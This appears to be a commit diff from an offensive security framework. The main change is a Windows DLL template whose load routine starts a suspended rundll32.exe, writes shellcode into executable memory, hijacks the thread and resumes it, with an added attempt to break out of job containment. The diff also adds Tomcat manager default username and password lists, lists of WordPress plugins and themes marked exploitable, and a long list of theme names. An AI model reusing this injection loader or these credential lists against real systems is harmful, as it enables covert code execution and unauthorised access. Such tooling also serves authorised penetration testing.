-void ExecutePayload(void) {
-	int error;
-	PROCESS_INFORMATION pi;
-	STARTUPINFO si;
-	CONTEXT ctx;
-	DWORD prot;
-	LPVOID ep;
-
-	// Start up the payload in a new process
-	inline_bzero( &si, sizeof( si ));
-	si.cb = sizeof(si);
-
-	if (Synchronize()) {
-		// Create a suspended process, write shellcode into stack, make stack RWX, resume it
-		if (CreateProcess(NULL, "rundll32.exe", NULL, NULL, TRUE, CREATE_SUSPENDED|IDLE_PRIORITY_CLASS, NULL, NULL, &si, &pi)) {
-			ctx.ContextFlags = CONTEXT_INTEGER|CONTEXT_CONTROL;
-			GetThreadContext(pi.hThread, &ctx);
-
-			ep = (LPVOID) VirtualAllocEx(pi.hProcess, NULL, SCSIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
-
-			WriteProcessMemory(pi.hProcess,(PVOID)ep, &code, SCSIZE, 0);
-
-	#ifdef _WIN64
-			ctx.Rip = (DWORD64)ep;
-	#else
-			ctx.Eip = (DWORD)ep;
-	#endif
-
-			SetThreadContext(pi.hThread,&ctx);
-
-			ResumeThread(pi.hThread);
-			CloseHandle(pi.hThread);
-			CloseHandle(pi.hProcess);
-		}
-	}
-	ExitThread(0);
-}
+#include <windows.h>
+#include "template.h"
+
+#if BUILDMODE == 2
+/* hand-rolled bzero allows us to avoid including ms vc runtime */
+void inline_bzero(void *p, size_t l)
+{
+	BYTE *q = (BYTE *)p;
+	size_t x = 0;
+	for (x = 0; x < l; x++)
+		*(q++) = 0x00;
+}
+
+#endif
+
+
+void ExecutePayload(void);
+
+BOOL WINAPI
+DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved)
+{
+	switch (dwReason)
+	{
+		case DLL_PROCESS_ATTACH:
+			ExecutePayload();
+			break;
+
+		case DLL_PROCESS_DETACH:
+			// Code to run when the DLL is freed
+			break;
+
+		case DLL_THREAD_ATTACH:
+			// Code to run when a thread is created during the DLL's lifetime
+			break;
+
+		case DLL_THREAD_DETACH:
+			// Code to run when a thread ends normally.
+			break;
+	}
+	return TRUE;
+}
+
+// Use a combination semaphore / event to check if the payload is already running and when it is, don't start a new
+// instance. This is to fix situations where the DLL is loaded multiple times into a host process and prevents the
+// payload from being executed multiple times. An event object is used to determine if the payload is currently running
+// in a child process. The event handle is created by this process (the parent) and configured to be inherited by the
+// child. While the child process is running, the event handle can be successfully opened. When the child process exits,
+// the event handle that was inherited from the parent will be automatically closed and subsequent calls to open it will
+// fail. This indicates that the payload is no longer running and a new instance can be created.
+BOOL Synchronize(void) {
+	BOOL bResult = TRUE;
+	BOOL bRelease = FALSE;
+	HANDLE hSemaphore = NULL;
+	HANDLE hEvent = NULL;
+	SECURITY_ATTRIBUTES SecurityAttributes;
+
+	// step 1: define security attributes that permit handle inheritance
+	SecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES);
+	SecurityAttributes.lpSecurityDescriptor = NULL;
+	SecurityAttributes.bInheritHandle = TRUE;
+
+	do {
+		// step 2: create a semaphore to synchronize this routine
+		if ((hSemaphore = CreateSemaphoreA(&SecurityAttributes, 1, 1, szSyncNameS)) == NULL) {
+			// if the semaphore creation fails, break out using the default TRUE result, this shouldn't happen
+			break;
+		}
+
+		bResult = FALSE;
+		// step 3: acquire the semaphore, if the operation timesout another instance is already running so exit
+		if (WaitForSingleObject(hSemaphore, 0) == WAIT_TIMEOUT) {
+			break;
+		}
+		bRelease = TRUE;
+
+		// step 4: check if the event already exists
+		if (hEvent = OpenEventA(READ_CONTROL | SYNCHRONIZE, TRUE, szSyncNameE)) {
+			// if the event already exists, do not continue
+			CloseHandle(hEvent);
+			break;
+		}
+
+		// step 5: if the event does not already exist, create a new one that will be inherited by the child process
+		if (hEvent = CreateEventA(&SecurityAttributes, TRUE, TRUE, szSyncNameE)) {
+			bResult = TRUE;
+		}
+	} while (FALSE);
+
+
+	// step 6: release and close the semaphore as necessary
+	if (hSemaphore) {
+		if (bRelease) {
+			ReleaseSemaphore(hSemaphore, 1, NULL);
+		}
+		CloseHandle(hSemaphore);
+	}
+	// *do not* close the event handle (hEvent), it needs to be inherited by the child process
+	return bResult;
+}
+
+void ExecutePayload(void) {
+	int error;
+	PROCESS_INFORMATION pi;
+	STARTUPINFO si;
+	CONTEXT ctx;
+	DWORD prot;
+	LPVOID ep;
+
+	// Start up the payload in a new process
+	inline_bzero( &si, sizeof( si ));
+	si.cb = sizeof(si);
+
+	if (Synchronize()) {
+		// Create a suspended process, write shellcode into stack, make stack RWX, resume it
+		DWORD result = CreateProcess(NULL, "rundll32.exe", NULL, NULL, TRUE, CREATE_SUSPENDED|IDLE_PRIORITY_CLASS|CREATE_BREAKAWAY_FROM_JOB, NULL, NULL, &si, &pi);
+		
+		// If we fail, try again without the CREATE_BREAKAWAY_FROM_JOB flag in the event that we are in a job but we can't break away from it.
+		if (result == FALSE){
+			result = CreateProcess(NULL, "rundll32.exe", NULL, NULL, TRUE, CREATE_SUSPENDED|IDLE_PRIORITY_CLASS, NULL, NULL, &si, &pi);
+		}
+
+		if (result) {
+			ctx.ContextFlags = CONTEXT_INTEGER|CONTEXT_CONTROL;
+			GetThreadContext(pi.hThread, &ctx);
+
+			ep = (LPVOID) VirtualAllocEx(pi.hProcess, NULL, SCSIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
+
+			WriteProcessMemory(pi.hProcess,(PVOID)ep, &code, SCSIZE, 0);
+
+	#ifdef _WIN64
+			ctx.Rip = (DWORD64)ep;
+	#else
+			ctx.Eip = (DWORD)ep;
+	#endif
+
+			SetThreadContext(pi.hThread,&ctx);
+
+			ResumeThread(pi.hThread);
+			CloseHandle(pi.hThread);
+			CloseHandle(pi.hProcess);
+		}
+	}
+	ExitThread(0);
+}

data/templates/src/pe/dll_gdiplus/template.c

@@ -4,7 +4,7 @@
 /* hand-rolled bzero allows us to avoid including ms vc runtime */
 void inline_bzero(void *p, size_t l)
 {
-   
+
            BYTE *q = (BYTE *)p;
            size_t x = 0;
            for (x = 0; x < l; x++)

data/wordlists/grafana_plugins.txt

@@ -0,0 +1,40 @@
+alertlist
+annolist
+barchart
+bargauge
+candlestick
+cloudwatch
+dashlist
+elasticsearch
+gauge
+geomap
+gettingstarted
+grafana-azure-monitor-datasource
+graph
+heatmap
+histogram
+influxdb
+jaeger
+logs
+loki
+mssql
+mysql
+news
+nodeGraph
+opentsdb
+piechart
+pluginlist
+postgres
+prometheus
+stackdriver
+stat
+state-timeline
+status-history
+table
+table-old
+tempo
+testdata
+text
+timeseries
+welcome
+zipkin

data/wordlists/tomcat_mgr_default_pass.txt

@@ -5,3 +5,16 @@ root
 tomcat
 s3cret
 vagrant
+QLogic66
+password
+Password1
+changethis
+r00t
+toor
+password1
+j2deployer
+OvW*busr1
+kdsxc
+owaspba
+ADMIN
+xampp

data/wordlists/tomcat_mgr_default_userpass.txt

@@ -7,3 +7,27 @@ xampp xampp
 tomcat s3cret
 QCC QLogic66
 admin vagrant
+admin password
+admin 
+admin Password1
+admin password1
+admin admin
+admin tomcat
+both tomcat
+manager manager
+role1 role1
+role1 tomcat
+role changethis
+root Password1
+root changethis
+root password
+root password1
+root r00t
+root root
+root toor
+tomcat tomcat
+tomcat password1
+tomcat password
+tomcat 
+tomcat admin
+tomcat changethis

data/wordlists/tomcat_mgr_default_users.txt

@@ -1,6 +1,13 @@
 admin
 manager
 role1
+role
 root
 tomcat
 both
+QCC
+j2deployer
+ovwebusr
+cxsdk
+ADMIN
+xampp

data/wordlists/wp-exploitable-plugins.txt

@@ -0,0 +1,56 @@
+wordpress-popular-posts
+backup
+catch-themes-demo-import
+modern-events-calendar-lite
+ninja-forms
+simple-file-list
+sp-client-document-manager
+drag-and-drop-multiple-file-upload-contact-form-7
+wp-file-manager
+duplicator
+work-the-flow-file-upload
+ajax-load-more
+wpdiscuz
+wptouch
+front-end-editor
+wpshop
+plainview-activity-monitor
+sexy-contact-form
+download-manager
+inboundio-marketing
+wp-mobile-detector
+website-contact-form-with-file-upload
+slideshow-gallery
+reflex-gallery
+wp-symposium
+photo-gallery
+pie-register
+wysija-newsletters
+dzs-zoomsounds
+all-in-one-wp-migration
+wp-ultimate-csv-importer
+wp-symposium
+masterstudy-lms-learning-management-system
+wp-gdpr-compliance
+wp-automatic
+wp-easycart
+dukapress
+loginizer
+email-subscribers
+wps-hide-login
+secure-copy-content-protection
+wordpress-mobile-pack
+learnpress
+wp-mobile-edition
+boldgrid-backup
+modern-events-calendar-lite
+gi-media-library
+chopslider
+bulletproof-security
+nextgen-gallery
+simple-backup
+subscribe-to-comments
+easy-wp-smtp
+duplicator_download
+custom-registration-form-builder-with-submission-manager
+woocommerce-abandoned-cart

data/wordlists/wp-exploitable-themes.txt

@@ -0,0 +1,2 @@
+holding_pattern
+wplms

data/wordlists/wp-themes.txt

@@ -159,12 +159,15 @@ aadi
 aadya
 aagaz-startup
 aak
+aak-plus
 aakanksha-unique
 aakriti-personal-blog
 aakrosh
 aamla
 aanews
+aanglo
 aapna
+aarambha-blogger
 aargee
 aari
 aaron
@@ -180,6 +183,7 @@ abalane
 abaris
 abaya
 abazzy
+abblog
 abc-author-dipendahal
 abcbb
 abcblog
@@ -187,6 +191,7 @@ abcmn
 abcok
 abdum
 abedul
+abel
 abel-one
 abel_rad_theme
 aberdeen
@@ -209,6 +214,7 @@ abov
 above-skyline-demo
 above-skyline-lite
 abrevo
+abril
 absolum
 absolute
 absolute-minimum
@@ -224,12 +230,14 @@ abstract-grid
 abstract-wordpress-blog-theme
 abstractlightyellow
 abstractum-pro-concreto
+abteam
 abtely
 abubize-business
 abuhill
 abulogics
 abythens
 ac-board
+ac-care
 ac-repair
 academic
 academic-clear
@@ -356,6 +364,7 @@ adapter
 adaption
 adaptive
 adaptive-flat
+adarsa
 adbooster
 add-your-content-wordpress-theme
 adela
@@ -364,6 +373,7 @@ adelle
 adelle-amv-pink
 aden
 adena
+adens-news
 adept
 adeq
 adformat
@@ -434,6 +444,8 @@ adventurous
 advertica-lite
 advik-blog-lite
 adviso
+advisory
+advocate-lite
 advocator-lite
 aeb-photo-gallery
 aeb-photography-theme
@@ -466,6 +478,7 @@ afeeee
 affidavit
 affiliate-blog-writer
 affiliate-booster
+affiliate-booster-sk
 affiliate-marketingly
 affiliate-newspaperly
 affiliateblogwriter
@@ -500,9 +513,11 @@ agency-lite
 agency-maker
 agency-plus
 agency-starter
+agency-techup
 agency-x
 agency-zita
 agencyup
+agencyup-dark
 agensy
 aggiornare
 agile-spirit
@@ -512,10 +527,13 @@ agindo
 agiva
 aglee-lite
 agncy
+agni
 agri-lite
 agroamerica
 agronomics-lite
 aguafuerte
+agus-defrian
+agus-twenty-ones
 ah-business
 ahab
 ahimsa
@@ -557,6 +575,7 @@ akangatu
 akarsh-blog
 akash
 akasse
+akbar
 akella
 akhada-fitness-gym
 aki-blog
@@ -596,6 +615,7 @@ alante-shop
 alante-x
 alante2
 alantrarose
+alara
 alaska-free
 alaymack
 alba
@@ -757,6 +777,7 @@ alternate-lite
 alternative
 altertech_s
 althea
+althea-wp
 altis
 altis-fx
 altis-simple
@@ -766,6 +787,7 @@ altitudelite
 altminimo
 altofocus
 alum
+alurra
 alux
 alvaro-uri-httpsthemepalace-comdownloadstravel-ultimate
 alvn-pizza
@@ -790,6 +812,7 @@ amaranthine
 amaryllo
 amateur
 amathambo
+amaz-store
 amazeblog
 amazica
 amazica-business
@@ -811,6 +834,7 @@ ambling-bellows
 ambrosia
 amdhas
 ameen
+amela
 ameno
 american-bones-for-wordpress
 americana
@@ -821,6 +845,7 @@ ameya
 amez
 ami-tuxedo
 amiable
+amicomfortable
 amidst-sky
 amiga-blanca
 amigo
@@ -857,6 +882,7 @@ amplify
 amplifyworldwide
 amplight
 amplitude
+amprogramacion
 ampwp
 amstel
 amv-pink
@@ -887,12 +913,14 @@ anatta
 anchor
 anchorage
 andar
+andbusiness
 andclean
 anderson
 anderson-lite
 andia
 andorra
 andoru
+andre-lite
 andrea
 andretheme01
 andrewsc
@@ -902,8 +930,10 @@ android-wordpress-theme
 andybegin_test
 andyblue
 andygray
+anecdote-lite
 aneeq
 anew
+anexa
 anfaust
 anfolder
 angel_f-tipografico
@@ -929,6 +959,7 @@ anime
 anime-crowds
 anime-days
 anime-desu
+anime-games
 anime-heaven
 anime-template-theme
 animepress
@@ -959,6 +990,7 @@ anp_creative
 anp_instagpress
 ans
 ansia
+ansupa
 ant-green
 ant-magazine
 anther
@@ -978,6 +1010,8 @@ anvil-theme
 anvys
 anya
 anymags
+anymags-news
+anyna
 anyonepage
 anypixelpixel中文版
 anz-mohamed
@@ -990,6 +1024,7 @@ apazit
 apbt
 apelle-uno
 apelsin
+aperitto
 aperture
 aperture-2
 aperture-portfolio
@@ -1030,6 +1065,7 @@ appliance
 application
 applicator
 appmela
+appointable
 appointee
 appointment
 appointment-blue
@@ -1049,6 +1085,7 @@ apptheme-free
 appworx
 appzend
 appzend-business
+appzend-commerce
 apricot
 apricot-blog
 apt-news
@@ -1081,10 +1118,12 @@ aranovo
 aranovo2
 arash
 arav
+aravalli
 aravan
 arb-blogging
 arba
 arbitragex
+arbuda
 arbune
 arbutus
 arcade-basic
@@ -1097,9 +1136,13 @@ arche
 archie
 archimedes
 architect
+architect-architecture
+architect-decor
 architect-design
+architect-designs
 architect-lite
 architectonic
+architects
 architecture
 architectwp
 archy
@@ -1131,18 +1174,25 @@ aribiz
 ariblog
 ariboom
 aribull
+aribull-blog
 aricop
+aricup
+aridream
+aridream2
 aridum
 ariel
 ariele-lite
 aries
 ariftheme
+ariland
+ariletech
 arilewp
 arima
 arimolite
 arina
 ariniom
 aripop
+ariqube
 arise
 ariwoo
 arix
@@ -1150,6 +1200,7 @@ arixoo
 arjuna
 arjuna-x
 arkade-sec
+arkbiz
 arke
 arkhe
 arkt
@@ -1275,6 +1326,7 @@ asket-magazine
 asmartgs
 asokay
 asonant
+aspace
 aspen
 aspiration-i
 aspire
@@ -1293,7 +1345,9 @@ asteria-lite
 asteria-lite2
 asterion
 asteroid
+astha
 asthir
+asthir-blog
 asthir-plus
 asthir-shop
 astn
@@ -1302,15 +1356,20 @@ astore
 astori
 astra
 astra-brixco-frd
+astrad
 astral
+astran
 astrasimo
 astrid
 astrid-child
 astrid-ianbalding
 astrid_tova
 astridd
+astrio
+astro
 astrologer
 astrology
+astromag
 astronomy
 astroride
 asura
@@ -1363,8 +1422,10 @@ attimo
 attirant
 attire
 attire-blog
+attire-shop
 attitude
 attorney
+attractiv
 attractwhite
 attractwhite-theme
 atwitteration
@@ -1383,11 +1444,13 @@ auctions
 auctor
 audacity-of-tanish
 audictive-ten
+audio-podcast
 audioman
 audiotheme-fourteen
 auenwald
 august-writing
 augusta
+auliettalite
 aura
 aura71
 aurelia
@@ -1415,10 +1478,12 @@ authority-market
 authority-marketer
 authority-theme-lite
 authorize
+authorpreneur
 authors-notepad
 autmunport
 autmunport-1-1
 auto-car
+auto-car-care
 auto-d
 auto-dealer
 auto-dezmembrari
@@ -1456,6 +1521,10 @@ autumnnow
 avad
 avada
 avadanta
+avadanta-agency
+avadanta-business
+avadanta-consulting
+avadanta-corporate
 avadar
 avail
 avak-fitness
@@ -1469,7 +1538,9 @@ avant
 avant-portfolio
 avant-x
 avante
+avante-lite
 avanti
+avanza-lite
 avata
 avatar
 ave-lite
@@ -1487,6 +1558,7 @@ avid-fashion
 avid-fitness
 avid-magazine
 avid-travel
+avidnews
 avien-light
 avik
 avior
@@ -1520,12 +1592,15 @@ awaken2
 awakening
 awakening-1-2
 awanlangit
+awe-blog
 awe-door
 awesome
 awesome-beauty
 awesome-blog
+awesome-blog-lite
 awesome-business
 awesome-one-page
+awesome-portfolio
 awesome-portfolio-free-version
 awesome-portfolio-lite
 awesome-portfolio-premium-version
@@ -1545,6 +1620,8 @@ axio-lite
 axiohost
 axiom
 axis-magazine
+axtia
+axtria
 aya
 ayaairport
 ayabiostorelite
@@ -1631,6 +1708,7 @@ babycare
 babylog
 babyme
 babysitter-lite
+babysitting-day-care
 back-my-book
 back-to-basic
 back-to-school
@@ -1648,6 +1726,7 @@ badjohnny
 baena
 bagility
 bahama
+bai
 bajaar
 bakedwp
 bakerblues
@@ -1677,6 +1756,7 @@ bands
 bandtheme
 bangasd
 bangkok1
+bangla-bazar
 bangladesh
 banheiros-quimicos
 bani
@@ -1690,6 +1770,7 @@ bar-restaurant
 barbara
 barbaros-tinos
 barber
+barber-lite
 barcelona
 barclays
 barcode-uri-httpswoocommerce-comstorefront
@@ -1703,6 +1784,7 @@ bariskkk
 barista
 barkly
 barletta
+barlow
 barom
 barter
 barthelme
@@ -1721,6 +1803,7 @@ baseline
 basepress
 baseshine
 basetheme
+bashir-rased
 basho
 basic
 basic-bikes-limited
@@ -1759,6 +1842,7 @@ batpa
 batterylaptops
 baughxie
 bauingh
+baumkupen
 bausetin
 baustein
 baustein-learner-theme
@@ -1843,6 +1927,7 @@ beauty-mountain
 beauty-parlour
 beauty-saloon
 beauty-spa
+beauty-spa-salon
 beauty-studio
 beauty-studio-pro
 beauty-theme
@@ -1869,6 +1954,7 @@ beetle
 beevent
 beezness
 beflex
+befold
 befreiphone
 beginner
 beginnings
@@ -1900,6 +1986,7 @@ belleza
 bellini
 bellinus
 bellored
+belltech
 belly
 bellyrn
 beluga
@@ -1938,6 +2025,7 @@ bersallis
 beryl
 beshop
 beshop-free
+beshop-plus
 best
 best-blog
 best-business
@@ -1953,6 +2041,7 @@ best-food
 best-hotel
 best-learner
 best-magazine
+best-minimal-restaurant
 best-minimalist
 best-movie-theme
 best-news
@@ -2010,6 +2099,7 @@ bibliotecas
 bicbb
 bicubic
 bicycle
+bicycle-rental
 bicycleshop
 biddo
 bidhantech
@@ -2027,6 +2117,7 @@ big-little-something
 big-pink
 big-pix
 big-red-framework
+big-scene
 big-stone
 big-store
 bigblank
@@ -2038,6 +2129,7 @@ bigrecipe
 bigred
 bigseo-theme-lite
 bigstore
+bigvisual
 bigwigs
 bijinepalli
 bikaner
@@ -2045,6 +2137,7 @@ bikaro
 bikashsoft-charity
 bikashsoft-charity-theme
 bike-city
+bike-shop
 biker
 bikes
 bilbo
@@ -2119,6 +2212,7 @@ bizbell
 bizberg
 bizberg-agency
 bizberg-consulting-dark
+bizberg-individual-consultant
 bizberg-shop
 bizbir
 bizblack
@@ -2130,8 +2224,10 @@ bizcent
 bizconsulting
 bizcorp
 bizdir
+bizfit
 bizflare
 bizflow
+bizfocus
 bizfolio
 bizgrowth
 bizgrowth2
@@ -2149,6 +2245,7 @@ biznesspack
 biznez-lite
 biznis
 bizniz
+biznol
 bizonex
 bizplan
 bizplus
@@ -2164,6 +2261,7 @@ bizstartup
 bizstudio-lite
 bizstudio-lite-demo
 biztheme
+bizthems
 biztime
 bizto
 biztrix
@@ -2224,6 +2322,7 @@ black-letterhead
 black-lighting
 black-line
 black-lucas
+black-magazine
 black-mix
 black-music
 black-n-blue
@@ -2300,6 +2399,7 @@ blackzebra
 blagz-blog-magazine-theme
 blain
 blaize
+blakely
 blanc
 blanche-lite
 blank
@@ -2347,6 +2447,7 @@ blocal
 block
 block-based-bosco
 block-lite
+blockbase
 blockchain-lite
 blocked
 blockfield
@@ -2376,6 +2477,7 @@ blog-circle
 blog-creative
 blog-curvo
 blog-cycle
+blog-decode
 blog-design-lite
 blog-design-studio-newblue
 blog-diary
@@ -2406,6 +2508,7 @@ blog-lite
 blog-lover
 blog-mag
 blog-magazine
+blog-mall
 blog-mantra
 blog-mash
 blog-master
@@ -2415,6 +2518,7 @@ blog-minimalistas
 blog-monstor
 blog-nano
 blog-new
+blog-on
 blog-one
 blog-one-by-michael-f
 blog-one-bywebsitedeluxcom
@@ -2429,8 +2533,10 @@ blog-star
 blog-start
 blog-starter
 blog-station
+blog-tales
 blog-theme
 blog-times
+blog-town
 blog-vlog
 blog-warrior-theme
 blog-way
@@ -2441,10 +2547,12 @@ blog-zone
 blog-zone-update
 blog0sphere
 blog2019
+blog22
 blog64
 blog99
 blog_and_blog-sultan
 bloga
+blogable
 blogaholic-blue
 blogaki
 blogan
@@ -2456,6 +2564,7 @@ blogatize-blue-10-wordpress-theme
 blogazine
 blogazine_wct
 blogband
+blogbaster
 blogbee
 blogbell
 blogberg
@@ -2466,6 +2575,7 @@ blogbox
 blogbuzz
 blogcafe
 blogcentral
+blogdaily
 blogdot
 bloge
 blogeasy
@@ -2474,6 +2584,7 @@ bloger
 blogera
 blogery
 blogever
+blogexpress
 blogfeedly
 blogfolio
 blogg
@@ -2523,6 +2634,7 @@ bloggy-v-2-child-theme
 bloghut
 blogi
 blogiee
+blogification
 blogified
 blogify
 blogim
@@ -2542,6 +2654,7 @@ blogjr-portfolio
 blogkori
 bloglane
 blogline
+blogling
 bloglite
 blogly-lite
 blogmagazine
@@ -2594,6 +2707,7 @@ blogstart-pro-amp
 blogster
 blogster-utility
 blogstrap
+blogstream
 blogstyle
 blogtay
 blogtime
@@ -2637,8 +2751,10 @@ blossom-chic
 blossom-coach
 blossom-consulting
 blossom-diva
+blossom-ecommerce
 blossom-fashion
 blossom-feminine
+blossom-floral
 blossom-health-coach
 blossom-mommy-blog
 blossom-pin
@@ -2660,6 +2776,7 @@ blox32
 bloxy
 bloxy-two
 bloxz
+bloz
 blu-mag
 blue
 blue-and-grey
@@ -2755,6 +2872,7 @@ blue-steel
 blue-swirl
 blue-swirl-advanced
 blue-taste
+blue-tech-blog
 blue-template
 blue-theme
 blue-uri-httpcyberchimps-comeclipse
@@ -2939,6 +3057,7 @@ boonik
 boost-biz
 boost_me
 booster
+boostify
 boot-store
 boot_strap
 bootbiz-for-wedding
@@ -2955,6 +3074,7 @@ bootroot
 boots
 bootsbas
 bootscore
+bootspress
 bootstar
 bootstrap
 bootstrap-386
@@ -2966,8 +3086,10 @@ bootstrap-beauty
 bootstrap-blank
 bootstrap-blog
 bootstrap-canvas-wp
+bootstrap-coach
 bootstrap-component-blox
 bootstrap-essentials
+bootstrap-fitness
 bootstrap-four
 bootstrap-journal
 bootstrap-lightpress
@@ -2982,6 +3104,7 @@ bootstrap-starter-template
 bootstrap-theme-by-zm-tech
 bootstrap-ultimate
 bootstrap-wordpress-theme
+bootstrap-wp-starter
 bootstrap-x
 bootstrapfast
 bootstraptheme
@@ -3001,10 +3124,22 @@ bornoux-theme
 boron
 borrowed-cr
 bosa
+bosa-blog
+bosa-blog-dark
 bosa-business
 bosa-charity
 bosa-consulting
+bosa-corporate-business
 bosa-corporate-dark
+bosa-finance
+bosa-fitness
+bosa-insurance
+bosa-lawyer
+bosa-marketing
+bosa-news-blog
+bosa-store
+bosa-travelers-blog
+bosa-wedding
 bosco
 bose
 boshki-portfolio
@@ -3017,11 +3152,14 @@ boston-business
 bota
 botanical
 bothainah
+botiga
 botticelli
+boundlessnews
 bouquet
 bourboneat
 boutique
 boutique2-222
+bovity
 box
 box-of-boom
 boxblog
@@ -3029,6 +3167,7 @@ boxcard
 boxed-wp
 boxed-zebra
 boxed-zebra-theme
+boxsite
 boxstyle
 boxwp
 boxy
@@ -3047,6 +3186,7 @@ brad
 bradbury
 brain-power
 brainbean
+brainpress
 brajeshwar
 branches
 brand
@@ -3122,6 +3262,7 @@ bring-back
 brisk
 brisko
 brisko-blog
+brite
 britt
 brittaboard
 brittany-light
@@ -3184,6 +3325,7 @@ bubbles-squared
 bubblewrap
 bubbly
 bubu
+buconz-starter
 buddha-theme
 buddhism
 buddyeleven
@@ -3220,6 +3362,7 @@ builder-lite
 builderio
 builders
 builders-landing-page
+builders-lite
 building
 building-blocks
 building-construction-architecture
@@ -3242,6 +3385,7 @@ bulk-one-page
 bulk-shop
 bulk1234
 bulkandy-blog
+bullet
 bulletin-board
 bulletin-news
 bulletproof-right
@@ -3265,6 +3409,8 @@ burrs-inc
 bushra-anwar
 bushwick
 busiage
+busicare
+busicare-dark
 busicorp
 busify
 busihub
@@ -3307,6 +3453,7 @@ business-consultancy
 business-consultant
 business-consultant-finder
 business-consulting
+business-consulting-dark
 business-consultr
 business-contra
 business-corner
@@ -3333,6 +3480,7 @@ business-epic
 business-epico
 business-era
 business-event
+business-event-conference
 business-express
 business-eye
 business-eye1
@@ -3348,6 +3496,7 @@ business-green
 business-group-vss
 business-grow
 business-guru
+business-health
 business-hour
 business-hub
 business-idea
@@ -3363,6 +3512,8 @@ business-kid-testing
 business-kit
 business-land
 business-lander
+business-launcher
+business-lawyer-firm
 business-leader
 business-lite
 business-lite-4
@@ -3414,6 +3565,7 @@ business-startup
 business-store
 business-street
 business-style
+business-techup
 business-theme
 business-times
 business-trade
@@ -3436,6 +3588,7 @@ businessblogs
 businessbuilder
 businessdeal
 businessdex
+businessdot
 businessexpo
 businessfirst
 businessfocus
@@ -3456,6 +3609,7 @@ businessprofree
 businesstar
 businessup
 businessweb-plus
+businesswp
 businessx
 businessx-josefin
 businessx-lato
@@ -3470,6 +3624,8 @@ businessxpand_tentacle
 businessxpand_twieme
 businessxpand_viewer_v2
 businessxpr
+businesszen
+businest
 businex
 businex-corporate
 busiplus
@@ -3505,11 +3661,13 @@ buzz-ecommerce
 buzz-ecommerce11
 buzz-magazine
 buzz-theme
+buzzhub
 buzzmag
 buzznews
 buzzo
 buzzpress
 buzzstore
+buzzstore-lite
 buzzverse
 bvp-template
 bvpblog
@@ -3532,6 +3690,9 @@ byline-lite
 bytemix
 bytetips
 bytetips-remix
+byvex
+byvex-woocommerce-starter
+byvexwoocommercestarter
 bywill
 byword
 byzantium
@@ -3550,6 +3711,7 @@ cafe
 cafe-bistro
 cafe-blog
 cafe-business
+cafe-cafeteria
 cafe-coffee-shop
 cafe-express
 cafe-faucher
@@ -3566,6 +3728,7 @@ calabozo-design
 cali
 calibar
 calibration
+calico
 call-power
 callas
 callcenter
@@ -3574,6 +3737,7 @@ callie
 calliope
 callisto
 calm
+calm-blog
 calm-news
 calorii
 calotropis
@@ -3586,6 +3750,7 @@ camel
 cameleon
 cameo
 camer
+camera-store
 cameron
 camille-vencert
 camise
@@ -3613,6 +3778,7 @@ canopus
 canuck
 canvas
 canvas-board
+canvi
 canyon
 caonera
 caos
@@ -3631,7 +3797,10 @@ capture-lite
 car-blog
 car-dealer
 car-fix-lite
+car-raza
+car-raza-2
 car-rent
+car-repair
 car-service
 car-show
 car-tuning
@@ -3651,12 +3820,16 @@ carbonize
 card-disp
 cardealer
 cardio
+cardstyle
 care-you
 career
+career-coach
 career-portfolio
 careerpress
 caresland-lite
 careta
+cargo-lite
+cargo-transport
 cargoex
 caribbean_islands
 caribbean_islands_en
@@ -3673,6 +3846,7 @@ carrington-blog
 carrington-mobile
 carrington-text
 carrot-lite
+cars-lite
 cartbox
 cartel
 carto
@@ -3693,6 +3867,7 @@ cassie
 cassions
 castell
 castlxing
+castpress
 casual
 casual-blog
 casual-theme
@@ -3716,6 +3891,8 @@ catch-kathmandu
 catch-mag
 catch-responsive
 catch-revolution
+catch-shop
+catch-shop-dark
 catch-sketch
 catch-starter
 catch-store
@@ -3753,6 +3930,7 @@ cc-responsive
 ccblue
 ccovid-medical-lite
 ccr-stylo
+cctv-security
 cdb-technology
 ceascol
 cecorabelle
@@ -3788,6 +3966,7 @@ ceo
 cerauno
 cerbernize
 ceremonial
+ceres
 cerise
 cerium
 certify
@@ -3822,9 +4001,11 @@ chandi
 chandigarh
 chandra
 chandy
+changa-manga
 change
 change-it
 changeable
+chankhe
 chaostheory
 chaoticsoul
 chaplin
@@ -3852,6 +4033,7 @@ charity-review
 charity-zone
 charitypress
 charitypure
+charityup
 charlene
 charlie-jackson-blog
 charliemaggie
@@ -3892,6 +4074,7 @@ chicago
 chicago-pro
 chichi
 chicnaturalnikki
+child-care-kindergarten
 child-edu
 child-education
 child-spun-uri-httpcarolinethemes-com20121104spun
@@ -3916,6 +4099,8 @@ chip-life
 chip-zero
 chique
 chique-construction
+chique-dark
+chique-music
 chiro-pro
 chiron
 chiropractor
@@ -4007,6 +4192,7 @@ citadela
 citizen-journal
 citizen-kane
 citizen-press
+citizentvke
 citra-suara-indonesia
 citrus-mix
 city-down
@@ -4022,6 +4208,7 @@ citylogic
 citypost
 cityscape
 civigreen
+civil-construction
 civilized
 cjanky
 claire
@@ -4036,6 +4223,7 @@ class-blogging
 classic
 classic-artisan
 classic-atm
+classic-bakery
 classic-blog
 classic-business
 classic-chalkboard
@@ -4043,6 +4231,7 @@ classic-ecommerce
 classic-glassy
 classic-layout
 classic-lite
+classic-restaurants
 classic-square
 classic-theme
 classic-wedding
@@ -4068,6 +4257,7 @@ classyart
 claudia
 claydell
 claydell-media
+clayi
 cleaker
 clean
 clean-and-blue
@@ -4108,6 +4298,7 @@ clean-journal
 clean-light-urban
 clean-lite
 clean-magazine
+clean-mini
 clean-minimalis
 clean-n-clear
 clean-news
@@ -4229,6 +4420,7 @@ clockworkstrip
 cloistered
 clon-news
 cloriato-lite
+clothing-store
 cloud
 cloud-baby
 cloud-bloggin
@@ -4242,6 +4434,7 @@ cloudmini
 cloudpress
 cloudpress-agency
 cloudpress-business
+cloudpress-dark
 clouds
 cloudy
 cloudy-blue-sky
@@ -4249,6 +4442,7 @@ cloudy-life
 cloudy-night
 cloudymag
 clouradd
+clove
 clovemix
 clover
 club-penguin-u-theme
@@ -4258,6 +4452,7 @@ clubfitness
 clubfitnessz
 clubfood
 clubhair
+clubnature
 clubpenguinwaddle-theme
 clubtravel
 clubvista
@@ -4282,6 +4477,7 @@ coality
 coaster
 cobalt-blue
 cobalt-blue-wordpress
+cobber
 coblocks
 coblog
 cocktail
@@ -4348,6 +4544,7 @@ cognoblue
 cogs
 cogworks
 coherent
+coin-market
 colbalt-mobile
 cold-night
 cold-water
@@ -4368,6 +4565,7 @@ collerange
 colleranger
 collide
 colon
+colon-plus
 color
